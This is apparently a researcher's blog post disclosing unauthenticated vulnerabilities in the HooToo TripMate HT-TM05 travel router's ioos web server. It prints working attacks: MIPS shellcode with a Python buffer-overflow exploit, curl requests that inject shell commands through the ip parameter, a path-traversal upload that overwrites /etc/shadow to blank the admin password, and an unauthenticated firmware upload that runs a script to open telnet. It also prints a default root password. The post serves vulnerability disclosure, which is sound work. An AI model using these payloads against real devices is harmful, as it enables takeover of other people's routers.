It has been a while since I published something about a really broken router. To be honest, it has been a while since I even looked at a router, but let me fix that with this blog post.
There was plenty of information to process in the GitHub repository.Mikhail’s DefCon presentation and blog post series (part 1, 2, 3 and 4) are interesting as well. I recommend giving them a read.
In short,Mikhail found several unauthenticated memory corruptions in another model from the TripMate series (HT-TM06) that he exploited to reach unauthenticated remote code execution. His vulnerabilities targeted the ioos binary, HooToo TripMate’s custom CGI server listening on port 81 on the router.
The first thing I did was use Mikhail’s vulnerability against my model. It is very common for routers within the same series to share the same codebase. So, I tried to trigger the buffer overflow in the cookie header against my HT-TM05 model, and it crashed! Meaning that, although TripMate fixed the bug in the HT-TM06 model, the HT-TM05 model was still vulnerable (note: this was true back in October, but, when downloading the latest firmware in order to gather materials for this blog post, I found that Mikhail’s vulnerabilities had been fixed in the HT-TM05 too).
Porting Exploit from HT-TM06 to HT-TM05
I had a rough time understanding the exploit written for HT-TM06. As it seemed more complicated than necessary, I wrote a version for my model that leverages the function do_cmd already available in the ioos CGI server.
Basically, the shellcode calls do_cmd(‘/etc/init.d/teld.sh start‘) to enable telnet on the router. Once telnet is enabled, use the default root password found and cracked by chorankates to login:
$ cat shellcode.asm
.section .text
.globl __start
.set noreorder
__start:
lui $a0,0x0053 # load upper address of ‘/etc/init.d/teld.sh start’
ori $a0,0x3580 # load lower address
lui $t9,0x0041 # load upper address of do_cmd
ori $t9,0x0cd4 # load address offset
jalr $t9 # call do_cmd(‘/etc/init.d/teld.sh start’)
nop # filler
$ ./buildroot-2017.02.6/output/host/usr/mipsel-buildroot-linux-uclibc/bin/as -EL shellcode.asm -o shellcode.out
|
I then wrote a python wrapper to exploit the buffer overflow and send the shellcode.
import struct
import requests
HOST = ‘10.10.10.254’
PORT = 81
# Shellcode do_cmd(‘/etc/init.d/teld.sh start’)
shellcode = ‘x00x00’
shellcode += ‘x00’ * 400 # NOP sled
shellcode += struct.pack(‘<I’, 0x3c040053)
shellcode += struct.pack(‘<I’, 0x34843580)
shellcode += struct.pack(‘<I’, 0x3c190041)
shellcode += struct.pack(‘<I’, 0x37390cd4)
shellcode += struct.pack(‘<I’, 0x0320f809)
shellcode += ‘x00’ * 4
offset_shellcode = 0x5addd0 # hardcoded
bof = ‘A’ * 1036
# NULL-byte added by strcpy
bof += struct.pack(‘<I’, offset_shellcode).replace(‘x00’, ”)
try:
r = requests.post(
‘http://{}:{}/protocol.csp’.format(HOST, PORT),
headers={‘Content-Type’: ‘application/x-www-form-urlencoded’, ‘Cookie’: bof},
data=shellcode)
except requests.exceptions.ConnectionError:
pass
|
It must be the most unreliable exploit I have ever written. As explained byMikhail, partial ASLR is enabled on the router, but the memory layout of ioos appears to be quite similar across reboots – hence the hardcoded offsets. I am not sure how reliable Mikhail’s exploit is but mine is 10% at most. That might be due to the fact that it is the first MIPS exploit I have ever written…
Furthermore, the exploit crashes ioos, which means that 9 times out of 10, the exploit will fail, and I have to reboot the router in order to retry (highly impractical). However, when it does work, it feels pretty good:
$ telnet 10.10.10.254
Trying 10.10.10.254…
telnet: connect to address 10.10.10.254: Connection refused
telnet: Unable to connect to remote host
$ python exploit.py
$ telnet 10.10.10.254
Trying 10.10.10.254…
Connected to 10.10.10.254.
Escape character is ‘^]’.
HT-TM05 login: root
Password: 20080826
login: can’t chdir to home directory ‘/root’
#
|
Doing some manual fuzzing, I identified additional unauthenticated memory corruptions:
Great! Job’s done then, right? Not quite. First, I personally dislike using someone else’s vulnerabilities (which is the main reason why I prefer web application pen-tests over network pen-tests) and second, the ones I found are as unreliable as the HT-TM06 ones.
Due to the unreliability of the exploit, I decided to look for something else. Maybe a memory leak or a more easily exploitable vulnerability. Since TripMate HooToo is using a custom HTTP server with multiple past memory corruptions, I was confident that I could find additional issues.
So… let’s hunt for more exploits!
Evaluating the Attack Surface
Let’s start by analyzing theioos. The first thing we should try to identify is the attack surface of the router for an unauthenticated attacker. Let’s look at: What functions can we call without being logged in? What data is being processed before checking our session? And so on.
Searching for function names that appear when proxying the web interface, we find the following list that looks promising:
Following the cross-references, we find an array that references each string in the previous list -175 of them on HT-TM05 to be precise. Moreover, the array appears to contain a simple structure composed of a string, a flag and a callback function. Let’s label it cgi_callback.
Creating the structure in IDA and updating the array gives the following disassembly:
Going over the multiple items of the array, we can try to guess the meaning of the flag element. We can see two values: 0x11 and 0x01.
The CGI callback for pwdchk, which is the function called upon login to check the username and password, has 0x01. We can, therefore, suppose that all CGI callbacks that have 0x01 can be called unauthenticated, which gives us a very good starting point.
If we look at the callback for pwdmod just underneath pwdchk, which is the function called when changing the password, we notice the following call to cgi_chk_sys_login early in the execution flow:
[ . . . ]
.text:0045C7A8 la $t9, cgi_chk_sys_login
.text:0045C7AC nop
.text:0045C7B0 jalr $t9 ; cgi_chk_sys_login
[ . . . ]
|
Looking at cgi_chk_sys_login, it appears to check if the user is logged in or not, as implied by the name of the function. The function is referenced about 134 times inioos, by many CGI callbacks. It is nowhere to be found in pwdchk, which reinforces our guess from earlier.
Let’s go over each and every CGI callbacks that have 0x01 and see if we can find something interesting. Let’s even start with pwdchk since we are here:
Table5: Stack-based buffer overflow in pwdchk
.text:0045C398 lw $t9, 0x14($v0)
.text:0045C39C lw $a0, 0x240+var_228($sp)
.text:0045C3A0 la $a1, aNickyS # “nicky=====%sn”
.text:0045C3A4 nop
.text:0045C3A8 addiu $a1, (aName_0 – 0x510000) # “name”
# get value of GET variable ‘name’
.text:0045C3AC jalr $t9
.text:0045C3B0 nop
.text:0045C3B4 lw $gp, 0x240+var_230($sp)
# store result in username variable
.text:0045C3B8 sw $v0, 0x240+username($sp)
[ . . . ]
.text:0045C4FC lw $gp, 0x240+var_230($sp)
.text:0045C500 addiu $v0, $sp, 0x240+stack_buffer_512B
# arg0 = stack_buffer_512B
.text:0045C504 move $a0, $v0 # s
.text:0045C508 la $a1, aNickyS # “nicky=====%sn”
.text:0045C50C nop
# arg1 = “%s:! “
.text:0045C510 addiu $a1, (aS_36 – 0x510000) # “%s:!”
# arg2 = username (user-supplied)
.text:0045C514 lw $a2, 0x240+username($sp)
.text:0045C518 la $t9, sprintf
.text:0045C51C nop
# call sprintf(stack_buffer_512B, ‘%s:!’, username)
.text:0045C520 jalr $t9 ; sprintf
.text:0045C524 nop
|
You are reading it correctly. The first unauthenticated function we are looking at is vulnerable to a stack-based buffer overflow. We can confirm the vulnerability with the following curl command and attach GDB to theioos binary (the other parameters such as the protocol.csp page name were identified when proxying the traffic to the web interface):
Table6: curl command to exploit the overflow in pwdchk
curl -i -s -k -X $’GET’ $’http://10.10.10.254:81/protocol.csp?function=set&fname=security&opt=pwdchk&name=AAAA [ . . . ]AAAAEEEE&pwd1=’
|
And looking at GDB:
Table7: GDB output showing the segmentation fault
gdb-peda$ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
Warning: not running or target is remote
0x45454545 in ?? ()
gdb-peda$ i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 00000001 0132c35e 00000000 2b99e47c 00000001 00000000 00000001
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000000 8054e7b0 00000001 73617020 83460da0 00000001 00000100 00000400
s0 s1 s2 s3 s4 s5 s6 s7
R16 00594668 00407ef0 00000000 ffffffff 2b99fa80 7fb619f4 00407e60 00000002
t8 t9 k0 k1 gp sp s8 ra
R24 00000001 2b680740 00000000 00000000 00596c90 7fb5f368 004080d0 45454545
status lo hi badvaddr cause pc
0100ff13 00000000 00000001 45454544 50800008 45454545
fcsr fir hi1 lo1 hi2 lo2 hi3 lo3
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
dspctl restart
00000000 00000000
gdb-peda$
|
However, it does not solve our initial issue: exploiting it would be highly unreliable except if we can find a memory leak or another vulnerability. So, let’s keep digging.
From 10% Reliability to 100%
Based on the first couple of blocks, the function expects two GET parameters: ip and flag. If ip is not set, it exits immediately. If it is set and flag is not, it goes to the following block:
.text:0044093C lw $gp, 0x430+var_420($sp)
.text:00440940 addiu $v0, $sp, 0x430+buffer_cmd
# arg0 = local buffer of 1024 bytes
.text:00440944 move $a0, $v0 # s
.text:00440948 la $a1, aNickyS # “nicky=====%sn”
.text:0044094C nop
# arg1 = “locknet “/etc/init.d/delaccessmac.sh aaa %s””
.text:00440950 addiu $a1, (aLocknetEtcIn_1 – 0x510000) # “locknet “/etc/init.d/delaccessmac.sh a”…
# arg2 = ip (user-supplied)
.text:00440954 lw $a2, 0x430+ip($sp)
.text:00440958 la $t9, sprintf
.text:0044095C nop
# call sprintf(buffer_cmd, …, ip)
.text:00440960 jalr $t9 ; sprintf
.text:00440964 nop
.text:00440968 lw $gp, 0x430+var_420($sp)
.text:0044096C addiu $v0, $sp, 0x430+buffer_cmd
.text:00440970 move $a0, $v0
.text:00440974 la $t9, do_cmd
.text:00440978 nop
# call do_cmd(buffer_cmd) with user-controlled value
.text:0044097C jalr $t9 ; do_cmd
.text:00440980 nop
|
In addition to being vulnerable to a stack-based buffer overflow (exactly like pwdchk), open_forwarding is also vulnerable to an Operating System command injection. This is so much easier to exploit and much more reliable!
The following curl command will exploit the unauthenticated OS command injection to enable telnet on the router:
Table9: curl command to enable telnet
curl -i -s -k -X $’GET’ $’http://10.10.10.254:81/protocol.csp?function=set&fname=security&opt=open_forwarding&ip=`/etc/init.d/teld.sh%20start`‘
|
Looking at the other unauthenticated functions, we can identify additional OS command injections:
Excellent! We reached our goal right? We found much easier and more reliable unauthenticated vulnerabilities to exploit and compromise the router. All it took us was to find CGI callbacks, identify the ones that did not require authentication, and look at what they were doing with the user-supplied data.
And, yet, I think we can find more…
Keep Digging
Most of the protocol.csp 175 functions we identified handle GET requests, but some of them handle POST requests too. While I understand how GET requests are being processed byioos, it is not as clear for POST requests. I think we should have a look.
If we look at ioos’ main function, we see that we can specify 3 CLI options:
Table10: CLI options for ioos
.rodata:0050835C aIoosHelpDaemon:.ascii “ioos [–help] [–daemon] [–debug]n”<0>
|
So let’s take advantage of the fact that we have access to the device. We can edit the file /etc/init.d/web on the router responsible for managing the web services, and add the ‘–debug’ flag to increaseioos’ verbosity:
# cat /etc/init.d/web
#!/bin/sh
# description: Starts and stops the web manager daemons
# used to provide web manager services.
#
# pidfile: /var/run/webd.pid
# config: /etc/webmg/webmg.conf
# Const
PRGNAME=ioos
SRVNAME=ioos
[ . . . ]
# Function
start() {
#check program
checkonly $PRGNAME
if [ $? -eq 0 ];then
exit 0
fi
cd /www
/usr/sbin/$PRGNAME –debug
if [ $? -eq 0 ];then
savesc 3 /usr/sbin/$PRGNAME $SRVNAME
else
echo “$SRVNAME service start failure”
fi
cd /
return $?
}
[ . . . ]
|
We then send a dummy POST request and look at the output. Because there are multiple references to multipart/form-data inioos, we can already change the content-type of the POST request accordingly:
# /etc/init.d/web restart
[ . . . ]
(httpd.c,thdatatab_alloc,1798)Allocate data 0x5af760
(httpd.c,httpd_parse_request,776)recevie length: 273
(httpd.c,httpd_parse_request_line,827)REQLINE:POST /protocol.csp HTTP/1.1
Host: 10.10.10.254:81
User-Agent: Windows
Connection: close
Content-Type: multipart/form-data; boundary=——–2052049399
Content-Length: 95
———-2052049399
Content-Disposition: form-data; name=”test”
———-2052049399–
(cgi.c,cgi_tab_alloc,2148)Allocate cgi 0x0x598ab8
(httpd.c,ht_header_find,1449)Fail: Miss find
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=SCRIPT_NAME, v=protocol.csp)
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=GATEWAY_INTERFACE, v=CGI/1.1)
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=SERVER_PROTOCOL, v=HTTP/1.1)
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=REQUEST_METHOD, v=POST)
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=SERVER_NAME, v=10.10.10.254)
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=SERVER_PORT, v=81)
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=REMOTE_ADDR, v=10.10.10.1)
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=REMOTE_IDENT, v=OS:[Windows]-Browser:[])
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=CONTENT_TYPE, v=multipart/form-data; boundary=——–2052049399)
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=CONTENT_LENGTH, v=95)
Single Thread Handle….
prgcgi_main_handler begin:prgtab[0].name=protocol.csp
(cgi.c,cgi_init_parse_env,966)cgi->envlen == 0
(cgi.c,cgi_sess_start,1831)Create a new session: BjxbMS2rYcPZzBSn2srcbR37hX7dMSef3LqQuigsn5qUz
(cgi.c,cgi_end,1102)Close cgi socket: 4
prgcgi_main_handler end:prgtab[0].name=protocol.csp
(ht_cgi.c,ht_cgi_do,179)Free CGI memory
(cgi.c,cgi_tab_free,2187)Free cgi 0x0x598ab8
(ht_cgi.c,ht_cgi_do,184)Free CGI memory finish
(httpd.c,thdatatab_free,1843)Free data
(httpd.c,httpd_schedule,685)Socket list are empty
|
The debug output contains interesting information. Let’s cross-reference some of the debug strings and follow the execution flow inside ioos. After some reversing, we identify the cgi class, responsible for handling HTTP POST forms:
.text:004F5A64 lw $v1, 0x28+cgi($sp)
.text:004F5A68 lui $v0, 1
.text:004F5A6C addu $v1, $v0
.text:004F5A70 la $v0, loc_4F0000
.text:004F5A74 nop
.text:004F5A78 addiu $v0, (cgi_form – 0x4F0000)
.text:004F5A7C nop
.text:004F5A80 sw $v0, s_cgi.fct_cgi_form($v1)
|
To be honest, the cgi_form function is tedious to fully reverse, but we do not have to do it. We can quickly look at the functions it calls and the strings it references to make some hypotheses.
Looking at the different strings referenced in cgi_form, we can infer that it parses POST multipart/form-data requests (which we already knew). The form data may contain a name and filename parameters (which we didn’t know yet and which looks interesting). Once it finds a name and filename parameters, it calls open followed by another unknown function.
Since we can dynamically analyze ioos, we do not have to understand every little bit of code in those functions. Instead, as soon as we understand that we can pass a filename parameter, we could send the following request:
curl -i -s -k -X $’POST’ -H $’Content-Type: multipart/form-data; boundary=———-42′ –data-binary $’————42x0dx0aContent-Disposition: form-data; name=”AAAA”; filename=”BBBB”x0dx0ax0dx0aCCCCx0dx0a————42′ $’http://10.10.10.254:81/protocol.csp’
|
And look at the debug output fromioos:
[ . . . ]
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=CONTENT_TYPE, v=multipart/form-data; boundary=———-42)
(cgi.c,cgienv_add_val,197)OK: cgi_add_val(n=CONTENT_LENGTH, v=100)
Single Thread Handle….
prgcgi_main_handler begin:prgtab[0].name=protocol.csp
(cgi.c,cgi_init_parse_env,966)cgi->envlen == 0
(cgi.c,cgi_sess_start,1831)Create a new session: 1sGlXcZgbIGtS5cUQ3Zadr6T4pbfi3XauvvqGjzI37cU3
(cgi.c,cgi_form,1377)OK: Open /tmp//BBBB: 6
(cgi.c,cgi_form,1416)OK: Close /tmp//BBBB: 6
(cgi.c,cgi_end,1102)Close cgi socket: 4
prgcgi_main_handler end:prgtab[0].name=protocol.csp
(ht_cgi.c,ht_cgi_do,179)Free CGI memory
[ . . . ]
|
# cat /tmp/BBBB
CCCC
|
Dot Dot Much?
Next, consider what happens if we send a POST request whose filename parameter points to a parent directory. Obviously, we should target a writeable directory since we are targeting an embedded device. Looking at the fstab entries, we should be able to write to /etc:
# cat /etc/fstab
proc /proc proc defaults 0 0
none /var ramfs defaults 0 0
none /etc ramfs defaults 0 0
none /tmp ramfs defaults 0 0
none /media ramfs defaults 0 0
none /sys sysfs default 0 0
none /dev/pts devpts default 0 0
none /proc/bus/usb usbfs defaults 0 0
|
Let’s try creating a file under /etc/:
curl -i -s -k -X $’POST’ -H $’Content-Type: multipart/form-data; boundary=———-42′ –data-binary $’————42x0dx0aContent-Disposition: form-data; name=”AAAA”; filename=”../etc/BBBB“x0dx0ax0dx0aCCCCx0dx0a————42′ $’http://10.10.10.254:81/protocol.csp’
|
And, lo and behold:
# cat /etc/BBBB
CCCC
|
We can write arbitrary files with arbitrary content on the router – unauthenticated! In our proof of concept, let’s overwrite /etc/shadow, which is used by the web server to authenticate the admin user.
For our scenario, I have updated the default admin password to ‘password’. The following curl request attempts to logon the web interface using an empty password, resulting in an error (login failed):
$ curl -i -s -k -X $’POST’ -H $’Content-Type: application/x-www-form-urlencoded’ -H $’Content-Length: 42′ -H $’Connection: close’ –data-binary $’fname=security&opt=pwdchk&name=admin&pwd1=‘ $’http://10.10.10.254:81/protocol.csp?function=set’
HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 96
Content-type: text/xml;charset=UTF-8
Set-cookie: SESSID=j27RhcAwIejyjA8CMDA14P8xRftxwSZSJVy28asRpCqyd;
Connection: close
Date: Sun, 01 Jan 2012 00:55:20 GMT
<?xml version=”1.0″ ?><root><security><pwdchk><errno>20104030</errno></pwdchk></security></root>
|
The next curl request leverages the LFI we just identified to override /etc/shadow with a new admin user with a blank password:
$ curl -i -s -k -X $’POST’ -H $’Content-Type: multipart/form-data; boundary=———-42′ –data-binary $’————42x0dx0aContent-Disposition: form-data; name=”AAAA”; filename=”../etc/shadow“x0dx0ax0dx0aroot:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:15386:0:99999:7:::x0dx0aadmin:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:13341:0:99999:7:::x0dx0a————42′ $’http://10.10.10.254:81/protocol.csp’
HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 58
Content-type: text/xml;charset=UTF-8
Connection: close
Set-cookie: SESSID=p41UE1ZlWl46OrDxongjZirYJ9enqPrQSrAoiwA9JDfw5;
<?xml version=”1.0″ ?><root><errno>20100000</errno></root>
|
Finally, when attempting once again to logon using a blank password, we can see that the login is now successful:
Table22: Successful login using a blank password
$ curl -i -s -k -X $’POST’ -H $’Content-Type: application/x-www-form-urlencoded’ -H $’Content-Length: 42′ -H $’Connection: close’ –data-binary $’fname=security&opt=pwdchk&name=admin&pwd1=‘ $’http://10.10.10.254:81/protocol.csp?function=set’
HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 89
Content-type: text/xml;charset=UTF-8
Set-cookie: SESSID=J5sWdCOn4L7c1luFLjp5LOnboxXTCuPeqgduU1RPDZTD9;
Connection: close
Date: Sun, 01 Jan 2012 00:55:45 GMT
<?xml version=”1.0″ ?><root><security><pwdchk><errno>0</errno></pwdchk></security></root>
|
Excellent! In addition to multiple instances of unauthenticated OS command injections, we confirmed that we are able to upload arbitrary files to arbitrary locations – again, unauthenticated.
I Said Keep Digging
So far, we have only looked at the handlers for the protocol.csp endpoint, but there are other endpoints too:
Let’s have a look at the second one, handling requests to the sysfirm.csp endpoint. The name sounds interesting, as it could handle functions related to the firmware management, such as updating the firmware.
Looking at the cgi_sysset_firm_handler function, there is no call to cgi_chk_sys_login whatsoever, which could mean that authentication is not required when accessing sysfirm.csp.
Following the execution flow, sysfirm.csp can be called with a fname parameter. When the parameter is set to sysupfileform (among other possible values),ioos calls another function that we can rename handle_sysupfileform.
The function is a bit long so I wrote its pseudo python code instead:
def handle_sysupfileform():
useful_path = get_first_usefulpath()
if not useful_path:
useful_path = ‘/data/UsbDisk1/Volume1/.vst/upgrade’
else:
useful_path += ‘/.vst/upgrade’
# [ . . . ]
if not os.file.exists(useful_path):
os.system(‘mkdir –p %s’ % useful_path)
fname = HTTP_POST[‘fname’]
if fname == ‘sysupfileform’:
file = HTTP_POST[‘file’]
fullpath = ‘%s/%s’ % (useful_path, file)
os.system(‘chmod 0700 %s’ % fullpath)
g_fullpath = fullpath
thread.start_new_thread(do_firmware_update)
[ . . . ]
|
This is very promising! Basically, we can upload a file that will be stored under the directory ‘upgrade/’. The file is then chmod-ed to be executable and the function do_firmware_update is called in a thread.
The thread function is rather simple:
Table24: Pseudo python code of do_firmware_update
def do_firmware_update():
global g_fullpath
os.popen(g_fullpath, ‘w’)
[ . . . ]
|
All in all, it appears that we can upload a shell script that will be executed by the router. It makes sense in a way, since the outer shell of a HooToo’s firmware is a shell script (see slide 10 from the DefCon presentation linked earlier). What makes less sense though, is that we apparently can upload the firmware without being unauthenticated!
Is it really unauthenticated though? Maybe it uses a different function thancgi_chk_sys_login to verify that the user is logged in:
$ curl -i -s -k -X $’POST’ -H $’AAAA: BBBB’ -H $’Content-Type: multipart/form-data; boundary=———-43′ –data-binary $’————43x0dx0aContent-Disposition: form-data; name=”file”; filename=”AAAA”x0dx0ax0dx0a/etc/init.d/teld.sh startx0dx0a————43x0dx0aContent-Disposition: form-data; name=”fname”x0dx0ax0dx0asysupfileformx0dx0a————43–‘ $’http://10.10.10.254:81/sysfirm.csp’
HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 1
Content-type: text/html
Connection: close
Set-cookie: SESSID=xQJYZs56g7B9j8E5G3jDjMpS9IQFV7wiXahJBmRJjsTur;
|
While the server does not send any meaningful response, we can see that indeed, telnet has been enabled on the router:
$ telnet 10.10.10.254
Trying 10.10.10.254…
Connected to 10.10.10.254.
Escape character is ‘^]’.
HT-TM05 login: root
Password:
login: can’t chdir to home directory ‘/root’
# uname -a
Linux HT-TM05 2.6.36+ #382 Wed Dec 13 14:39:20 CST 2017 mips unknown
#
|
It is unauthenticated, after all. We can basically upgrade the firmware of the router without having to authenticate. In our proof-of-concept, we only leveraged that vulnerability to enable telnet on the router.
Affected Models
We confirmed that HooToo TripMate Titan HT-TM05 (firmware HooToo-TM05-Firmare- 2.000.080) was vulnerable to multiple critical vulnerabilities. As I noted earlier, most routers within the same series share a common codebase. It would be interesting to have a look and evaluate whether other models are affected as well.
Since I only have the model HT-TM05 in my possession, I am unable to be 100% sure whether the models TM01, TM02, TM03, TM04 and TM06 are vulnerable or not. However, I can confirm if theioos binary shipped with their latest firmware has the same vulnerabilities as the TM05. If their ioos binary shares the same vulnerabilities, then it is more than likely that the routers are vulnerable as well.
The list of vulnerabilities I have identified are available in the security advisory. Here, I only list the ones I was able to statically confirm (via reverse engineering) in the other models:
Once again, bear in mind that not all models listed above are necessarily vulnerable. I could only confirm that theirioos CGI binary shipped with them was vulnerable. If anyone has one of those models and would like to confirm that it is vulnerable, feel free to ping me on twitter @depierre_.
What Then?
Overall, although the HT-TM05 is a cute device, it is quite broken and vulnerable. In addition, the vulnerabilities we identified on HT-TM05 most likely affect the whole TripMate series from HooToo. We found multiple unauthenticated OS command injections. We found that we can upload arbitrary files unauthenticated. And finally, we can upgrade the firmware unauthenticated.
Is there more to find? I believe so – yes.
First, though I only focused on theioos binary, it would be interesting to look at the other services exposed by the HT-TM05.
Second, while I found additional memory corruption issues, I mostly focused on finding easy to exploit vulnerabilities. I am convinced that fuzzing ioos would uncover additional memory corruptions.
Third, I only looked at the attack surface pre-authentication for vulnerabilities that would give me remote code execution. I did not look at the functions that required admin privileges. If there are vulnerabilities there, they could most likely be exploited in combination with cross-request forgery (I did not see any anti-CSRF mechanism). I also did not look at the authentication mechanism itself. I would not be surprised if someone breaks it.
Finally, it is likely that more functions are available from one model to another. Therefore, it is probable to find additional vulnerabilities in some specific models from the TripMate series.
That’s it for now. I hope you enjoyed the ride! If you travel often like I do, I would strongly recommend traveling with some embedded devices like a router. It can be a lot of fun!
The IOActive Advisory: HooToo Advisory can be found here.